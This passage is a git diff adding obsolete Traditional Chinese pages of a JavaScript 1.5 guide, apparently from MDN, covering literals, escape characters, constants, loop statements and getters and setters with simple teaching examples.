+<p>布林類型有兩種字面表達︰<code>true</code> 和 <code>false</code>。</p>
+<p>別被原始布林值的 <code>true</code>、<code>false</code> 和 Boolean 物件的 true、false 的值混淆了。Boolean 物件是以原始布林資料類型包裝起來的。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E6%A0%B8%E5%BF%83%E7%89%A9%E4%BB%B6/Boolean_%E7%89%A9%E4%BB%B6" title="zh tw/Core JavaScript 1.5 教學/預先定義的核心物件/Boolean 物件">Boolean 物件</a> 取得更多資訊。</p><h4 id="整數" name="整數">整數</h4>
+<p>整數可以表示為十進制、十六進制、八進制。十進制整數的字面表達由一系列不以 0 開頭的數字組成。以 0 開頭的整數的字面表達表示他是八進制，以 0x（或 0X）開頭表示十六進制。十六進制整數可以包含數字 (0-9) 和 a-f 和 A-F 的字母。八進制整數只可以包含 0-7 的數字。</p>
+<p>八進制整數的字面表達在 ECMA-262 第三版的標準中已不被推薦。JavaScript 1.5 為了向後相容，仍然繼續支援。</p>
+<p>整數的字面表達的一些範例︰</p>
+<pre class="eval">0、117、-345（十進制）
+015、0001、-077（八進制）
+0x1123、0x00111、-0xF1A7（十六進制）
+</pre>
+<h4 id="浮點數的字面表達" name="浮點數的字面表達">浮點數的字面表達</h4>
+<p>浮點數的字面表達可分為以下部分︰</p>
+<ul> <li>可帶正負號的十進制整數（在前面加上“+”或“-”），</li> <li>小數點（“.”），</li> <li>小數部分（十進制數），</li> <li>指數部分。</li>
+</ul>
+<p>指數部分是以一個“e”或“E”後接數字所組成，可帶正負符號（在前面加上“+”或“-”）。浮點數的字面表達至少必須要有一個數字和一個小數點或“e”（或“E”）。</p>
+<p>浮點數的字面表達的一些範例有 3.1415、-3.1E12、.1e12、2E-12。</p>
+<p>表示成更精簡的語法結構是︰</p>
+<pre class="eval">[digits][.digits][(E|e)[(+|-)]digits]
+</pre>
+<p>例如︰</p>
+<pre class="eval">3.14
+2345.789
+.3333333333333333333
+</pre>
+<h4 id="物件的字面表達" name="物件的字面表達">物件的字面表達</h4>
+<p>物件的字面表達是以零個以上的 屬性名稱-關聯值 的配對所構成，以花括號 ({}) 包夾。你不應該在語句的開始處使用物件的字面表達。這會導致錯誤，或出現非預期的行為，因為 { 會被解譯成區塊的開始處。</p>
+<p>以下是物件的字面表達的範例。<code>car</code> 物件的第一個元素定義了 <code>myCar</code> 屬性；第二個元素，<code>getCar</code> 屬性，含有函數 <code>(CarTypes("Honda"));</code>；第三個元素，<code>special</code> 屬性，使用了現存的變數（<code>Sales</code>）。</p>
+<pre class="eval">var Sales = "Toyota";
+
+function CarTypes(name) {
+  if (name == "Honda")
+     return name;
+  else
+     return "Sorry, we don't sell " + name + ".";
+}
+
+var car = { myCar: "Saturn", getCar: CarTypes("Honda"), special: Sales };
+
+document.write(car.myCar);   // Saturn
+document.write(car.getCar);  // Honda
+document.write(car.special); // Toyota
+</pre>
+<p>此外，你可以使用數值或字串的字面表達作為屬性的名稱，或者嵌入其他的物件。以下是上述的範例。</p>
+<pre class="eval">var car = { manyCars: {a: "Saab", b: "Jeep"}, 7: "Mazda" };
+
+document.write(car.manyCars.b); // Jeep
+document.write(car[7]); // Mazda
+</pre>
+<p>請注意︰</p>
+<pre class="eval">var foo = {a: "alpha", 2: "two"};
+document.write(foo.a);    // alpha
+document.write(foo[2]);   // two
+//document.write(foo.2);  // 錯誤: 參數列表後面少了 )
+//document.write(foo[a]); // 錯誤: a 尚未定義
+document.write(foo["a"]); // alpha
+document.write(foo["2"]); // two
+</pre><h4 id="字串的字面表達" name="字串的字面表達">字串的字面表達</h4>
+<p>字串的字面表達是以零個以上的字元所構成，並以雙引號 (") 或單引號 (') 包夾。字串必須以相同的引號包夾，也就是成對的單、雙引號。以下是字串的字面表達的範例︰</p>
+<ul> <li>"blah"</li> <li>'blah'</li> <li>"1234"</li> <li>"one line \n another line"</li> <li>"John's cat"</li>
+</ul>
+<p>你可以在字串的字面表達的值上呼叫 String 物件的所有方法—JavaScript 會自動的把字串的字面表達轉換成臨時的 String 物件，呼叫方法，然後丟棄臨時的 String 物件。你也可以使用 <code>String.length</code> 屬性︰</p>
+<ul> <li>"John's cat".length</li>
+</ul>
+<p>除非你特別使用 String 物件，否則就應該使用字串的字面表達。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E6%A0%B8%E5%BF%83%E7%89%A9%E4%BB%B6/String_%E7%89%A9%E4%BB%B6" title="zh tw/Core JavaScript 1.5 教學/預先定義的核心物件/String 物件">String 物件</a> 取得有關 String 物件的細節。</p>
+<h5 id="在字串中使用特殊字元" name="在字串中使用特殊字元">在字串中使用特殊字元</h5>
+<p>除了普通的字元以外，你也可以在字串中包含特殊字元，如下範例︰</p>
+<pre class="eval">"one line \n another line"
+</pre>
+<p>下表列出了你可以使用於 JavaScript 字串中的特殊字元。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>字元</th> <th>意義</th> </tr> <tr> <td>\b</td> <td>後退一格</td> </tr> <tr> <td>\f</td> <td>換頁</td> </tr> <tr> <td>\n</td> <td>換行</td> </tr> <tr> <td>\r</td> <td>歸位</td> </tr> <tr> <td>\t</td> <td>Tab</td> </tr> <tr> <td>\v</td> <td>垂直 Tab</td> </tr> <tr> <td>\'</td> <td>單引號</td> </tr> <tr> <td>\"</td> <td>雙引號</td> </tr> <tr> <td>\\</td> <td>反斜線 (\)。</td> </tr> <tr> <td>\<em>XXX</em></td> <td>使用介於 0 至 377 之間的三個八進制數 <em>XXX</em> 來表示以 Latin-1 編碼的字元。例如，\251 是版權符號的八進制內碼序列。</td> </tr> <tr> <td>\x<em>XX</em></td> <td>使用介於 00 至 FF 之間的兩個十六進制數 <em>XX</em> 來表示以 Latin-1 編碼的字元。例如，\xA9 是版權符號的十六進制內碼序列。</td> </tr> <tr> <td>\u<em>XXXX</em></td> <td>使用四個十六進制數 <em>XXXX</em> 來表示 Unicode 字元。例如，\u00A9 是版權符號的 Unicode 內碼序列。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/Unicode#Unicode_%E7%9A%84%E8%B7%B3%E8%84%AB%E5%BA%8F%E5%88%97" title="zh tw/Core JavaScript 1.5 教學/Unicode#Unicode 的跳脫序列">Unicode 的跳脫序列</a>。</td> </tr> </tbody>
+</table>
+<p><small><strong>表 2.1: JavaScript 的特殊字元</strong></small></p>
+<h5 id="字元的跳脫" name="字元的跳脫">字元的跳脫</h5>
+<p>對於未列在表 2.1 的字元，加在前面的反斜線將會被忽略，但是這個作法已被建議廢除，應該要避免。</p>
+<p>你可以在字串裡面的引號前面插入反斜線。這就是引號的<em>跳脫</em>。例如︰</p>
+<pre class="eval">var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service.";
+document.write(quote);
+</pre>
+<p>結果會是︰</p>
+<pre class="eval">He read "The Cremation of Sam McGee" by R.W. Service.
+</pre>
+<p>要在字串裡包含反斜線，你必須跳脫反斜線字元。例如，要把檔案路徑 <code>c:\temp</code> 代入成字串，方法如下︰</p>
+<pre class="eval">var home = "c:\\temp";
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:常數", "Core_JavaScript_1.5_教學:Unicode") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Literals", "es": "es/Gu\u00eda_JavaScript_1.5/Literales", "fr": "fr/Guide_JavaScript_1.5/Constantes_litt\u00e9rales", "ja": "ja/Core_JavaScript_1.5_Guide/Literals", "ko": "ko/Core_JavaScript_1.5_Guide/Literals", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Litera\u0142y", "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u6587\u672c\u5316" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/常數/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/常數/index.html
new file mode 100644
index 0000000000..1f582824a8
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/常數/index.html
@@ -0,0 +1,27 @@
+---
+title: 常數
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/常數
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<p> </p>
+<h3 id="常數" name="常數">常數</h3>
+<p>你可以使用 <code><a href="/en/Core_JavaScript_1.5_Reference/Statements/const" title="en/Core_JavaScript_1.5_Reference/Statements/const">const</a></code> 關鍵字建立唯讀的常數。常數識別子的語法和變數識別子的相同︰以字母或底線開頭，可以包含字母、數值、底線字元。</p>
+<pre class="eval">const prefix = '212';
+</pre>
+<p>在 Script 執行時，常數不可以藉由代入或重新宣告來改變值。</p>
+<p>常數的作用域規則和變數一樣，除了 <code>const</code> 關鍵字即使是全域常數也一直是必要的。如果省略了關鍵字，識別子就會被認定為變數。</p>
+<p>你不可以在同一個作用域裡，使用和函數或變數的同樣的名稱來宣告常數。例如︰</p>
+<pre class="eval">// 這會引起錯誤
+function f() {};
+const f = 5;
+
+// 這也會引起錯誤
+function f() {
+  const g = 5;
+  var g;
+
+  //其他語句
+}
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:變數", "Core_JavaScript_1.5_教學:字面表達") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Constants", "es": "es/Gu\u00eda_JavaScript_1.5/Constantes", "fr": "fr/Guide_JavaScript_1.5/Constantes", "ja": "ja/Core_JavaScript_1.5_Guide/Constants", "ko": "ko/Core_JavaScript_1.5_Guide/Constants", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Sta\u0142e" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/建立新的物件/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/建立新的物件/index.html
new file mode 100644
index 0000000000..faadc10f07
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/建立新的物件/index.html
@@ -0,0 +1,9 @@
+---
+title: 建立新的物件
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/建立新的物件
+---
+<p> </p>
+
+<p>This page was auto-generated because a user created a sub-page to this page.</p>
+
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/break_語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/break_語法/index.html
new file mode 100644
index 0000000000..ea6551a851
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/break_語法/index.html
@@ -0,0 +1,27 @@
+---
+title: break 語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/循環語法/break_語法
+---
+<h3 id="break_語法" name="break_語法">break 語法</h3>
+<p>使用 <code>break</code> 語法可以終止 <code>loop、switch、label</code> 語法。</p>
+<ul>
+ <li>當你使用不加標籤的 <code>break</code> 時，他會立即終止最內層的 <code>while、do-while、for</code>、<code>switch</code> 的循環，並把控制權轉移給後面的語句。</li>
+ <li>當你使用加上標籤的 <code>break</code> 時，他會終止被指定的標籤所標記的語句。</li>
+</ul>
+<p>break 語法如下︰</p>
+<ol>
+ <li><code>break;</code></li>
+ <li><code>break label;</code></li>
+</ol>
+<p>第一個語句形式會終止最內層的循環或 <code>switch</code>，第二個語句形式會終止指定標籤的語句。</p>
+<p><strong>範例</strong><br>
+ 在以下的範例中，反覆操作陣列裡的元素，直到找到某個索引的元素的值等於 <code>theValue</code>︰</p>
+<pre>for (i = 0; i &lt; a.length; i++) {
+   if (a[i] == theValue)
+      break;
+}
+</pre>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:循環語法:label_語法", "Core_JavaScript_1.5_教學:循環語法:continue_語法") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/continue_語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/continue_語法/index.html
new file mode 100644
index 0000000000..68f757d572
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/continue_語法/index.html
@@ -0,0 +1,49 @@
+---
+title: continue 語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/循環語法/continue_語法
+---
+<h3 id="continue_語法" name="continue_語法">continue 語法</h3>
+<p><code>continue</code> 語法可用來重新開始 <code>while、do-while、for、</code><code>label</code> 語法。</p>
+<ul>
+ <li>當你使用沒加標籤的 <code>continue</code> 時，他會終止這一次的最內層的 <code>while、do-while</code>、<code>for</code> 語法的反覆過程，並繼續執行下一次的反覆過程。與 <code>break</code> 語法相較之下，<code>continue</code> 不會終止整個循環的執行。在 <code>while</code> 循環中，他會跳回條件處。在 <code>for</code> 循環中，他會跳回遞增表達式。</li>
+ <li>當你使用加上標籤的 <code>continue</code> 時，他會跳到以 <code>label</code> 標記的循環語句。</li>
+</ul>
+<p><code>continue</code> 語法如下︰</p>
+<ol>
+ <li><code>continue</code></li>
+ <li><code>continue label</code></li>
+</ol>
+<p><strong>範例 1</strong><br>
+ 以下範例示範加上 <code>continue</code> 語法的 <code>while</code> 循環，<code>continue</code> 語法會在 <code>i</code> 值為 3 時執行。因此，<code>n</code> 的值依序為 1、3、7、12。</p>
+<pre class="eval">i = 0;
+n = 0;
+while (i &lt; 5) {
+   i++;
+   if (i == 3)
+      continue;
+   n += i;
+}
+</pre>
+<p><strong>範例 2</strong><br>
+ 已加上標籤的語法 <code>checkiandj</code> 內含已加上標籤的語法 <code>checkj</code>。如果遇到 <code>continue</code>，程式會終止 <code>checkj</code> 這一次的反覆過程，並開始下一次的反覆過程。每當遇到 <code>continue</code>，就會反覆執行 <code>checkj</code> 直到他的條件返回 false 為止。當返回 false 時，<code>checkiandj</code> 語句完成了餘數的計算，且 <code>checkiandj</code> 會反覆執行，直到他的條件返回為 false 為止。當返回 false 時，程式繼續執行 <code>checkiandj</code> 後面的語句。</p>
+<p>如果 <code>continue</code> 有一個 <code>checkiandj</code> 標籤，程式就會從 <code>checkiandj</code> 語句的開始處繼續執行。</p>
+<pre>checkiandj :
+   while (i &lt; 4) {
+      document.write(i + "&lt;br/&gt;");
+      i += 1;
+      checkj :
+         while (j &gt; 4) {
+            document.write(j + "&lt;br/&gt;");
+            j -= 1;
+            if ((j % 2) == 0)
+               continue checkj;
+            document.write(j + " is odd.&lt;br/&gt;");
+         }
+      document.write("i = " + i + "&lt;br/&gt;");
+      document.write("j = " + j + "&lt;br/&gt;");
+   }
+</pre>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:循環語法:break_語法", "Core_JavaScript_1.5_教學:物件的操作語法") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/do...while_語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/do...while_語法/index.html
new file mode 100644
index 0000000000..5091d476fd
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/do...while_語法/index.html
@@ -0,0 +1,22 @@
+---
+title: do...while 語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/循環語法/do...while_語法
+---
+<h3 id="do...while_語法" name="do...while_語法">do...while 語法</h3>
+<p><code>do...while</code> 語法會反覆執行直到指定條件的求值結果為 false 為止。<code>do...while</code> 語法如下︰</p>
+<pre class="eval">do
+   statement
+while (condition);
+</pre>
+<p><code>statement</code> 會在檢測條件之前就先執行一次。若要執行多個語句，就使用區塊語法（<code>{ ... }</code>）把語句群組化。如果 <code>condition</code> 為 true，就會再執行一次語句。每回執行以後，就會檢測條件。當條件為 false 時，就停止執行並把控制權轉移給 <code>do...while</code> 後面的語句。</p>
+<p><strong>範例</strong><br>
+ 在以下範例中，do 循環至少會反覆執行一次，並一直反覆到 i 不再小於 5 為止。</p>
+<pre class="eval">do {
+   i += 1;
+   document.write(i);
+} while (i &lt; 5);
+</pre>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:循環語法:for_語法", "Core_JavaScript_1.5_教學:循環語法:while_語法") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/for_語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/for_語法/index.html
new file mode 100644
index 0000000000..8978b7ed27
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/for_語法/index.html
@@ -0,0 +1,53 @@
+---
+title: for 語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/循環語法/for_語法
+---
+<h3 id="for_語法" name="for_語法">for 語法</h3>
+<p><code>for</code> 循環反覆執行直到指定的條件的求值為 false 為止。JavaScript 的 for 循環和 Java 和 C 的 for 循環很類似。<code>for</code> 語法如下︰</p>
+<pre class="eval">for ([initialExpression]; [condition]; [incrementExpression])
+   statement
+</pre>
+<p>執行 <code>for</code> 循環時，會執行以下步驟︰</p>
+<ol>
+ <li>執行初始化表達式 <code>initialExpression</code>。這個表達式通常會初始化為 1 以上的計數器，不過也可以是任意複雜程度的表達式。也可以在表達式裡宣告變數。</li>
+ <li>對 <code>condition</code> 表達式求值。如果 <code>condition</code> 的值為 true，就會執行循環語法。如果 <code>condition</code> 的值為 false，就終止 <code>for</code> 循環。如果完全省略 <code>condition</code> 表達式，條件就會被代入為 true。</li>
+ <li>執行 <code>statement</code>。若要執行多個語句，就使用區塊語法（<code>{ ... }</code>）把這些語句群組化。</li>
+ <li>執行更新表達式 <code>incrementExpression</code>，並回到第 2 步驟。</li>
+</ol>
+<p><strong>範例</strong><br>
+ 以下函數內含 <code>for</code> 語法，計數至下拉式選單的已選擇選項的數目為止（Select 物件允許複選）。<code>for</code> 語法宣告變數 <code>i</code> 並以 0 初始化。他會檢驗 <code>i</code> 是否小於 <code>Select</code> 物件的選項數目，持續執行 <code>if</code> 語句，並在每一次循環之後以 1 遞增 <code>i</code>。</p>
+<pre>&lt;script type="text/javascript"&gt;//&lt;![CDATA[
+
+function howMany(selectObject) {
+   var numberSelected = 0;
+   for (var i = 0; i &lt; selectObject.options.length; i++) {
+      if (selectObject.options[i].selected)
+         numberSelected++;
+   }
+   return numberSelected;
+}
+
+//]]&gt;&lt;/script&gt;
+&lt;form name="selectForm"&gt;
+   &lt;p&gt;
+      &lt;strong&gt;Choose some music types, then click the button below:&lt;/strong&gt;
+      &lt;br/&gt;
+      &lt;select name="musicTypes" multiple="multiple"&gt;
+         &lt;option selected="selected"&gt;R&amp;B&lt;/option&gt;
+         &lt;option&gt;Jazz&lt;/option&gt;
+         &lt;option&gt;Blues&lt;/option&gt;
+         &lt;option&gt;New Age&lt;/option&gt;
+         &lt;option&gt;Classical&lt;/option&gt;
+         &lt;option&gt;Opera&lt;/option&gt;
+      &lt;/select&gt;
+   &lt;/p&gt;
+   &lt;p&gt;
+      &lt;input type="button" value="How many are selected?"
+         onclick="alert ('Number of options selected: ' + howMany(document.selectForm.musicTypes))"/&gt;
+   &lt;/p&gt;
+&lt;/form&gt;
+</pre>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:循環語法", "Core_JavaScript_1.5_教學:循環語法:do...while_語法") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/index.html
new file mode 100644
index 0000000000..4d3be46f15
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/index.html
@@ -0,0 +1,15 @@
+---
+title: 循環語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/循環語法
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<h3 id="循環語法" name="循環語法">循環語法</h3>
+<p>循環（或稱迴圈）是一組反覆執行的指令，直到滿足指定的條件為止。JavaScript 支援 for、do while、while 循環語法，除了 label 以外（label 本身不是循環語法，但經常和循環語法一起使用）。此外，你也可以在循環語法內部使用 <code>break</code> 和 <code>continue</code> 語法。</p>
+<p>還有另一種語法 <code>for...in</code> 反覆執行語句，但是只用於物件的操作。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E7%89%A9%E4%BB%B6%E7%9A%84%E6%93%8D%E4%BD%9C%E8%AA%9E%E6%B3%95" title="zh tw/Core JavaScript 1.5 教學/物件的操作語法">物件的操作語法</a>。</p>
+<p>循環語法如下︰</p>
+<ul> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%BE%AA%E7%92%B0%E8%AA%9E%E6%B3%95/for_%E8%AA%9E%E6%B3%95" title="zh_tw/Core_JavaScript_1.5_教學/Loop_語法/for_Statement">for 語法</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%BE%AA%E7%92%B0%E8%AA%9E%E6%B3%95/do...while_%E8%AA%9E%E6%B3%95" title="zh_tw/Core_JavaScript_1.5_教學/Loop_語法/do...while_Statement">do...while 語法</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%BE%AA%E7%92%B0%E8%AA%9E%E6%B3%95/while_%E8%AA%9E%E6%B3%95" title="zh_tw/Core_JavaScript_1.5_教學/Loop_語法/while_Statement">while 語法</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%BE%AA%E7%92%B0%E8%AA%9E%E6%B3%95/label_%E8%AA%9E%E6%B3%95" title="zh_tw/Core_JavaScript_1.5_教學/Loop_語法/label_Statement">label 語法</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%BE%AA%E7%92%B0%E8%AA%9E%E6%B3%95/break_%E8%AA%9E%E6%B3%95" title="zh_tw/Core_JavaScript_1.5_教學/Loop_語法/break_Statement">break 語法</a></li> <li><a href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%BE%AA%E7%92%B0%E8%AA%9E%E6%B3%95/continue_%E8%AA%9E%E6%B3%95" title="zh_tw/Core_JavaScript_1.5_教學/Loop_語法/continue_Statement">continue 語法</a></li>
+</ul>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:條件語法", "Core_JavaScript_1.5_教學:循環語法:for_語法") }}</p>
+</div>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Loop_Statements", "es": "es/Gu\u00eda_JavaScript_1.5/Sentencias_de_bucle", "fr": "fr/Guide_JavaScript_1.5/Boucles", "ja": "ja/Core_JavaScript_1.5_Guide/Loop_Statements", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Instrukcje_p\u0119tli" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/label_語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/label_語法/index.html
new file mode 100644
index 0000000000..8b63254ac1
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/label_語法/index.html
@@ -0,0 +1,22 @@
+---
+title: label 語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/循環語法/label_語法
+---
+<h3 id="label_語法" name="label_語法">label 語法</h3>
+<p><code>label</code> 提供識別子作為語法，可讓你的程式的任何一處都能參考得到。舉例來說，你可以使用標籤來標識循環，然後使用 <code>break</code> 或 <code>continue</code> 語法來指示程式是否要中斷循環或繼續執行。</p>
+<p><code>label</code> 語法如下︰</p>
+<pre>label :
+   statement
+</pre>
+<p><code>label</code> 的值可以是任意的 JavaScript 識別子，只要不是保留字的話都可以使用。使用標籤來標識的 <code>statement</code> 可以是任意的語句。</p>
+<p><strong>範例</strong><br>
+ 在以下範例中，標籤 <code>markLoop</code> 標識了 while 循環。</p>
+<pre>markLoop:
+while (theMark == true)
+   doSomething();
+}
+</pre>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:循環語法:while_語法", "Core_JavaScript_1.5_教學:循環語法:break_語法") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/while_語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/while_語法/index.html
new file mode 100644
index 0000000000..76beeaafeb
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/循環語法/while_語法/index.html
@@ -0,0 +1,38 @@
+---
+title: while 語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/循環語法/while_語法
+---
+<h3 id="while_語法" name="while_語法">while 語法</h3>
+<p><code>while</code> 語法會執行他的語句，只要指定的條件的求值結果為 true。<code>while</code> 語法如下︰</p>
+<pre class="eval">while (condition)
+   statement
+</pre>
+<p>如果條件變成 false，就停止執行循環內部的 <code>statement</code>，並把控制權移交給循環後面的語句。</p>
+<p>條件的測試會發生在執行循環裡的 <code>statement</code> 之前。如果返回的條件為 true，就會執行 <code>statement</code>，並再次測試條件。如果返回的條件為 false，就停止執行並把控制權移交給 <code>while</code> 後面的語句。</p>
+<p>若要執行多個語句，就使用區塊語法（{ ... }）把這些語句群組化。</p>
+<p><strong>範例 1</strong><br>
+ 以下 <code>while</code> 循環會一直反覆直到 <code>n</code> 小於 3 為止︰</p>
+<pre class="eval">n = 0;
+x = 0;
+while (n &lt; 3) {
+   n++;
+   x += n;
+}
+</pre>
+<p>每一次的反覆，循環便會遞增 <code>n</code> 並且把 <code>n</code> 的值代入給 <code>x</code>。因此，<code>x</code> 和 <code>n</code> 持有下列的值︰</p>
+<ul>
+ <li>第一次循環以後︰<code>n</code> = 1、<code>x</code> = 1</li>
+ <li>第二次循環以後︰<code>n</code> = 2、<code>x</code> = 3</li>
+ <li>第三次循環以後︰<code>n</code> = 3、<code>x</code> = 6</li>
+</ul>
+<p>第三次的循環完成以後，條件 <code>n</code> &lt; 3 不再為 true，所以終止循環。</p>
+<p><strong>範例 2</strong><br>
+ 應避免無限循環。確認循環裡的條件最終一定會變成 false。否則循環永遠不會終止。下面的 <code>while</code> 循環裡的語句將會永遠執行下去，因為條件永遠不會變成 false︰</p>
+<pre class="eval">while (true) {
+   alert("Hello, world");
+}
+</pre>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:循環語法:do...while_語法", "Core_JavaScript_1.5_教學:循環語法:label_語法") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/getter_和_setter_的定義/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/getter_和_setter_的定義/index.html
new file mode 100644
index 0000000000..222529aa18
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/新物件的建立/getter_和_setter_的定義/index.html
@@ -0,0 +1,110 @@
+---
+title: Getter 和 Setter 的定義
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/新物件的建立/Getter_和_Setter_的定義
+---
+<p> </p>
+
+<h3 id="Getter_和_Setter_的定義" name="Getter_和_Setter_的定義">Getter 和 Setter 的定義</h3>
+
+<p>Getter 是用來取得指定屬性的值的方法。Setter 是用來設定指定屬性的值的方法。你可以在所有預先定義的核心物件或使用者定義的物件（這類可支援新屬性的附加）中定義 Getter 和 Setter。為了定義 Getter 和 Setter，需要使用物件的字面表達語法。</p>
+
+<p>自 JavaScript 1.8.1 起，在設定物件和陣列裡的初始化子的屬性時，不再可以呼叫 Setter。</p>
+
+<p>以下的 JS shell 會話說明了 Getter 和 Setter 是如何在使用者定義的物件 o 裡運作的。<a class="internal" href="/zh_tw/SpiderMonkey/JavaScript_shell_%E7%B0%A1%E4%BB%8B" title="zh tw/SpiderMonkey/JavaScript shell 簡介">JS shell</a> 是一種應用程式，可讓開發者在分批模式或互動性的測試 JavaScript 代碼。</p>
+
+<pre>js&gt; var o = {a:7, get b() {return this.a+1;}, set c(x) {this.a = x/2}};
+[object Object]
+js&gt; o.a;
+7
+js&gt; o.b;
+8
+js&gt; o.c = 50;
+js&gt; o.a;
+25
+</pre>
+
+<p><code>o</code> 物件的屬性為︰</p>
+
+<ul>
+ <li>o.a - 數字</li>
+ <li>o.b - 返回 o.a 加 1 的 Getter</li>
+ <li>o.c - 把 o.a 的值設為所屬的 o.c 的值的一半的 Setter</li>
+</ul>
+
+<p>另一種（Mozilla 限定）表示成一行的方式，也支援在物件的屬性上（如 "foo<strong>-</strong>bar"）設定 Getter 和 Setter，其中物件需要加上引號。</p>
+
